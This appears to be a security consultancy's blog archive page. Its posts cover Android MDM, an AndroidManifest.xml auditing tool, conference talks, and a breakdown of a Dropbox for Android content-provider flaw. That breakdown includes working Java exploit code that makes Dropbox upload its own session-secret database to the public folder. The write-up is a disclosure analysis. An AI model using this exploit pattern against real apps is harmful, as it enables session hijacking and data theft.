Author Archives: mmanning
Android MDM. Part I: Build Up
We know that Android is popular, and recent polls show that Android is “winning” the race in sheer number of smartphones that are out there. Frequent readers will remember previous blog posts on Apple’s MDM solutions where David Schuetz dives into some of the security concerns.
But what about Android? It seems to be following the way of the iPhone in that it becomes super popular as a consumer device, and only then do we start thinking about using it in an enterprise environment. Android has supported mobile device management (MDM) solutions for a long time now (since 2.1). Yet Android, until recently, is often considered ill-prepared for an enterprise environment.
Here’s Your API. Good Luck
Android’s MDM support comes in the way of the DevicePolicyManagement API. This allows developers to control things like password complexity, lockout timing, remote wipe, and remote lock. Standard MDM features right? But what about things like tracking apps that are installed on a device, keeping track of serial numbers, being able to recover lost devices? Yeah, it can do that but just like all of the other Android decisions they’ve made, Google has given you the ability to do it yourself and then they stepped back to watch the carnage. This means that while no official Android MDM solution exists, third parties are picking up the slack and rolling their own.
The MDM Recipes
I categorize third party MDM solutions into three unscientific groups: Cross-platform Android clients that use ActiveSync, native Android solutions, and cloud based solutions. Native clients, such as Google Apps, have created a complete solution tailored to Android devices. They take advantage of the DeviceManagementPolicy APIs and then add in some other features such as asset tracking, GPS location tracking, app auditing, and permission controls. They are not building upon any pre-existing technologies so while this sounds like the best solution, not many MDM providers are going this route because it’s so specific to Android.
Cloud based MDM solutions (lets face it, it’s just Good Technologies), will give a user access to all of the cloud services, and then remove them when the device is no longer compliant with a device policy or an employee leaves the company. You can probably see how it would be easier to just stop granting access to your enterprise services rather than attempting to wipe a device when it leaves a company.
The most popular solution by far is the ActiveSync based solutions. This is an MDM app that relies on ActiveSync for device management policies, and then adds in their own bells and whistles. Airwatch, for instance, is an ActiveSync solution that has added in asset tracking, app auditing, and a lot of other features. In fact, the most popular solution that I’ve seen is just enabling ActiveSync and calling it a day.
As a stand alone solution, ActiveSync will push out device polices that control passwords, idle timeouts, and provide a remote wipe capability. But the bells and whistles that you’ll see with other solutions are nonexistent. The reason it’s so popular is that there’s minimal deployment time and for some environments it very low cost. Those organizations that have already implemented Exchange can enable ActiveSync services for smart phones and using using Android’s built in “Corporate Email Client,” it connects in and is ready to go.
MDM and ActiveSync
Why are we talking about ActiveSync when it comes to Google? The reason is that the Android Exchange client (AKA Corporiate Email Client) uses ActiveSync to pull down email, contacts, and calendar events from corporate networks since 2.1. But one of the features it has also implemented as part of ActiveSync protocol is password controls, remote wipe, and idle timeout.
So that’s great – you have an Exchange environment, you enable ActiveSync, and you now have a mobile device management solution for Android devices. But what about those other feature we talked about; app management, asset tracking, GPS tracking. None of those features are there. Well it turns out that a lot of organizations believe that’s enough. In talking with one of the local fortune 500 companies about how they manage their mobile policy, we found that they’re using a native ActiveSync to implement a Bring Your Own Device (BYOD) mobile policy. They had an Exchange environment, they wanted to allow employees to bring in their own devices to access corporate information, so they enabled ActiveSync and they were done.
Because this is such a popular implementation, it’s also become a target for clients that would like to evade this policy. In the next post I’ll talk about some specific problems that we’ll run into.
MDM Communication With C2DM
Cloud 2 Device Messaging (C2DM) is Google’s lightweight data push service. It’s Android’s answer to the Apple Push Notification Service or the Blackberry Push Service. These types of services are ways of pushing down information to an app as opposed to waiting for an app to pull data. A lot of the MDM providers use this solution to send down their device policies or remote commands. When a remote wipe command is issued from an organization, you don’t want to wait for the app to issue a schedule update, you want that command to be sent as soon as a device has connectivity to something.
A coworker of mine is looking into the security concerns with C2DM but in this scenario, we’re concerned that someone might be able to send a remote wipe to your phone without having administrative access.
So…what?
Android’s MDM solutions are up in the air which may be why a lot of people say that Android isn’t really ready for the enterprise. With the latest Ice Cream Sandwich version of Android that supports policy controlled encryption, I think you can see Google pushing Android into enterprise environments much more.
This is a nice little info blurb about Android MDM and the underlying technologies but lets be honest, the real fun comes from attacking. The next Android MDM post will discuss some attack vectors and evasion techniques that may make you re-think how much you trust your MDM provider.
Manitree: AndroidManifest.xml Auditor
Part of my presentation at this year’s Rochester Security Summit on Android security, included a reference to a tool that would help automate the process of detecting insecure app’s on Android devices. This was basically my research into how effective analyzing the AndroidManifest.xml file was at detecting insecurities in an app.
AndroidManifest.xml Insecurities:
It turns out that if you think about it, there’s probably a lot of ways you can screw up an app by putting wrong values in the the manifest file. Hopefully you remember that the AndroidManifest.xml is the file included inside of all APK’s that defines what permissions the app requires along with defining some of the operating parameters. For instance, if you wanted to create a content provider, you would make something like this:
<provider android:name=".provider.DropboxProvider"
android:authorities="com.dropbox.android.Dropbox">
<grant-uri-permission android:pathPrefix="/" />
</provider>
But what is that grant-uri-permission gibberish, right? In this case, it means that anything that is located in a path that starts with “/” is able to access the provider. Probably not so good if you’re storing sensitive information in it like DropBox was doing.
That’s just one example but here are some others to consider:
- Leaving debug mode enabled
- Granting incorrect read or write permissions to a service, receiver, or provider
- Setting a high intent priority (read also malware)
- Setting a hidden dialer using the “android_secret_code” feature
How effective is this:
This isn’t a complete way of analyzing an Android device by any means, but here’s a few examples where it could have helped. Do you remember the DropBox post I made a couple months ago? That flaw that was caused by incorrect permissions in the AndroidManifest.xml was a good example that’s very easy to detect.
How about the HTCLogger hub bub. Could we have detected these problems by analyzing the manifest file? No – not really. But it would have picked up the fact that it was registering a hidden dialer code so when you would dial *#*#482564#*#* a hidden menu would appear giving you access to its settings.
In summary, we’ve found that analyzing Android’s manifest file is effective to give you a summary of items that need to be reviewed, and it’s very effective when you need to analyze a large quantity of apps in a short period of time. It isn’t very good at truly performing a vulnerability scan on an app, but it will pull up some items of interest. When you’re testing a device for app’s that are insecure, there may be hundreds installed and this technique is pretty good at flagging ones that you should pay attention to and then allow you to follow up with some of the manual techniques.
Manitree: AndroidManifest.xml Device Auditing Tool
Manitree is a tool that will review an AndroidManifest.xml file, APK package, or an entire device(or devices) for insecure values in the AndroidManifest.xml file.
Usage: manitree.py -f [MANIFESTFILE | APKFILE] | -D
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-f INPUTFILE path to AndroidManifest.xml or APK (e.g.
/home/user/com.something.apk, ./
Device Mode Options:
-D Device Mode: Perform a full test on a device
-d Download from a physical device.(Device mode only)
-e Download from an emulated device.(Device mode only)
--path=TMPPATH Set path of where files are temporarily downloaded.
(Default /tmp/AT)
-u Test only user apps
Output Options:
-T OUTPUTTXT Save results to a text file (defaults to console)
-H OUTPUTHTML Save results to HTML (defaults to console)
Debug Options:
-v Display verbose output
-q Quiet mode
-t Test mode. Check to see that environment has been setupDevice Test Mode:
Look for connected devices and download all of the APK’s for processing:
./manitree.py -D
Test only the emulators:
./manitree.py -D -e
Test only user apps:
./manitree.py -D -u
Test multiple devices:
./manitree.py -D -u
1: HT12345688
2: emulator-5554
3: emulator-5556
4: emulator-5558More than one device found.
Select which device to use or A to test all the devices: A
Individual File Mode:
If you’re already extracted the manifest file, you can review it like so:
./manitree.py -f AndroidManifest.xml
If you haven’t extracted it, you can just give it an APK and it will extract if for you:
./manitree.py -f com.intrepidusgroup.app.apk
Directory Mode:
Same idea as above but if you’ve already downloaded a large pile of APK’s, you can analyze them at once:
./manitree.py -f apks/
Reporting:
run a report on a previous test:
./reporter.py
run a report on a specific device:
./reporter.py -D HTCS000001
run a report on a specific package and filter only high findings:
./reporter.py -P com.intrepidusgroup.app -r high
Requirements:
- Linux (soon MacOSX)
- Python 2.6+
- adb (included)
- AXMLPrinter2.jar (included)
Get It:
The tool is open source and hosted on GitHub: https://github.com/antitree/manitree
You can also just download the latest tar ball from here: [download id="275"]
Rochester Security Summit
If you live in Rochester, October marks the time of year when you once again prepare for Winter and and attend the Rochester Security Summit. Since 2006, RSS has been organized by the local chapters of OWASP and ISSA, and other interest groups like RIT, University of Rochester, and local businesses. The conference has three tracks depending on your background an interest: Business, Infrastructure, and Application. Jason Ross and myself will be presenting, both on Android.
So, let me get my plug out of the way. My presentation is on Android’s security design, auditing tools and techniques, and some real world examples. The take away from my talk will hopefully be a better understanding of Android security from the perspective of an enterprise, and tools necessary to be able to audit your own devices and apps. Presentation details here.
Jason’s talk on Android malware will include the tools and techniques he uses to perform research. He’ll also give a break down of some of the recent variants that we’ve seen in the wild. Presentation details here.
Some of the other interesting ones to check out are Gerry Brunelle’s two talks on rootkits, and Rel1k David Kennedy’s “Making Sense of (in)Security.”
This year, we’ll be at the Hyatt, which is a nice big hotel in the empty shell that is downtown Rochester. When you’re done with RSS for the day, and tired of the business environment, you should join us for a couple of drinks where we sit on a large wall and protect the city from White Walkers Canadians.
Dropbox for Android Vulnerability Breakdown
Dropbox vulnerabilities are back and they’re mobile. This week Tyrone Erasmus released a vulnerability in the Android Dropbox client that allows other apps to access its content database allowing attackers to upload your files to the public. I wanted to break down this vulnerability because the lessons learned aren’t that Dropbox is vulnerable, it’s that bad Android programming practices are happening everywhere.
Normally we don’t want any other apps to have access to another app’s content provider, so we block them all by default. This is done in a couple of ways. One by restricting the file permissions to only that the apps UID and GID. But in some cases, content providers want to share their information to other places on the Android platform. Take for example an email app that handles attachments. The content provider should be secured so that other apps can’t access its emails, but if an email has an attachment like an image file, it may want to share that data with other apps like the Gallery Viewer. This is where URI permissions come into play as a way of sharing the content provider in a controlled way. Tyrone took advantage of the permissions allowed on a content provider for the Dropbox app.
Dropbox, for Android versions 1.1.3 and earlier, was setting the permissions of its content provider using the <grant-uri-permission> tag inside AndroidManifest.xml. There’s nothing wrong with that in itself, but grant-uri-permission takes a value of android:path, which is a path to the portions of the device that are allowed to access it. So what happens if that value is “/”? Yeah. Exactly.
But what’s in this content provider. Lets take a look inside the Dropbox database in /data/app/com.dropbox.android/:
You’ll see that the database keeps track of the files that are being synced. What’s interesting to me is the _data field. When you want to add a file to Dropbox, a new record is created that fills in_data with the path of a location to upload. What happens if you were to tell it to upload something sensitive like /data/data/com.dropbox.android/databases/prefs.db. The prefs.db contains the secret key and private information you can use to hijack a dropbox session. Telling it to store it into a location in the public folder will upload it to a world readable web address. Something like this:
http://dl.dropbox.com/u/xxxxxxxxx/prefs.db
Lets put this all together into a simple app.
package com.antitree.dropdropbox;
import android.app.Activity;
import android.os.Bundle;
import android.content.ContentValues;
import android.net.Uri;
public class DropDropBoxActivity extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.<em>main</em>);
//begin exploit
Uri dropbox_uri = Uri.<em>parse</em>("content://com.dropbox.android.Dropbox/metadata/");
ContentValues values = <strong>new</strong> ContentValues();
//path to file to upload. Could also be a file on the sdcard
values.put("_data" , "/data/data/com.dropbox.android/databases/prefs.db");
//Without this the system won’t think the file needs syncing
values.put("local_modified" , 1);
//Tyrone’s logic flawthat blocks it from being able to be deleted
values.put("_display_name" , "");
values.put("is_favorite" , 1);
values.put("revision" , 0);
values.put("icon" , "page_white_text");
values.put("is_dir" , 0);
values.put("path" , "/Public/prefs.db");
values.put("canon_path" , "/public/prefs.db");
values.put("root" , "dropbox");
values.put("mime_type" , "text/xml");
values.put("thumb_exists" , 0);
values.put("parent_path" , "/Public/");
values.put("canon_parent_path" , "/public/");
this.getContentResolver().update(dropbox_uri, values, null, null);
}
}This an example of what Tyrone created that will add a new record in the Dropbox content provider to tell it to upload the prefs.db to the user’s public folder. This is a pretty boring exploit example but with access to the sdcard and some malware kung-fu, I think you can dream up something much better.
The attack scenario for this vulnerability requires that the attacker have the ability to both install the malicious app on a user that’s using a version less than 1.1.4, and be able to find out the Dropbox ID to retrieve the files. If you’re a Dropbox user, the best way to protect yourself is update to the latest version which came out weeks ago. If you feel like you’ve already been exploited, you’ll need to change your passwords and re-enroll on the device. You may want to consider creating a new account if an attacker already has your user ID.
In the latest version 1.2.3, what’s interesting is that they didn’t change the AndroidManifest.xml permission issue at all. They put the entire app into secure storage. It resolves the issue this time but did it fix the bad programming practices? The take away for all this shouldn’t be that Dropbox has a vulnerability, but rather improper Android development practices are happening even with the larger projects like Dropbox.
Notacon 8: At Least We’re Not Detroit
This weekend was Notacon 8, Cleveland, Ohio’s longest running hacker con. Normally I don’t expect a lot of info sec related talks because in years past, Notacon emphasized the creative interpretation of the term hacker. This year, you could have almost given an entire track just to security related talks; there was even a two day Penetration Testing 101 workshop.
David “Rel1k” Kennedy, a regular at Blackhat and creator of the Social-Engineer Toolkit, gave a talked titled “Strategic Penetration Testing – Changing the Way We Hack” where he points out that the penetration test isn’t very well defined for companies and consultants. One person’s pen test may focus on getting domain admin credentials and skip over the credit card information that was sitting on the SQL server, owned after the first day of the test. His answer to this problem is the Penetration Test Execution Standard, an idea recently created by independent industry professionals to provide a common framework for penetration testers. Its goal is to be an industry standard to serve as a baseline of what you should expect for businesses and security. Some of our consultants are already participating in this project but this was the first presentation I had seen in reference it.
David went on to show off the new functionality in SET version 1.3 including a new custom reverse shell that looks pretty slick with its really simple UAC bypass function and communication happening over 256bit AES. He also added RATTE support for situations where egress filtering is enabled on a site. It’s an HTTP tunneling payload that communicates using blowfish. Fun stuff.
The presentation already had insightful commentary and a tool release, but to complete the hacker talk hat trick, David showed off his DEP and ASLR bypass zero day in a final demo.
Another talk I found interesting was “Keeping Secrets For iOS Developers” by Randy Beiter. It was a talk geared towards iOS developers to help define major challenges that you face when trying to secure an app. He makes the point that you should always assume the worst. Assume that an attacker can reverse your binary, inject their own code, or manipulate communication to the backend of your system. Some of the other good recommendations were to verify everything and don’t trust client side input, use encryption when necessary but be careful about export laws, and don’t store strings directly in a binary when you can encode them with something like base64 to obfuscate it. I wouldn’t call any of these details new or earth shattering but I think it was a good summary of tips and tricks you can use to help secure iOS apps.
On a personal note, I passed the HAM Radio Operator technician test. This probably seems out of nowhere for this blog but I’m working with the other Intrepidus consultants on near field communication research and there is a decent overlap between NFC and the hardware, radio, and antenna questions on the HAM exam. Besides, what else is there to do in Cleveland on a Thursday?
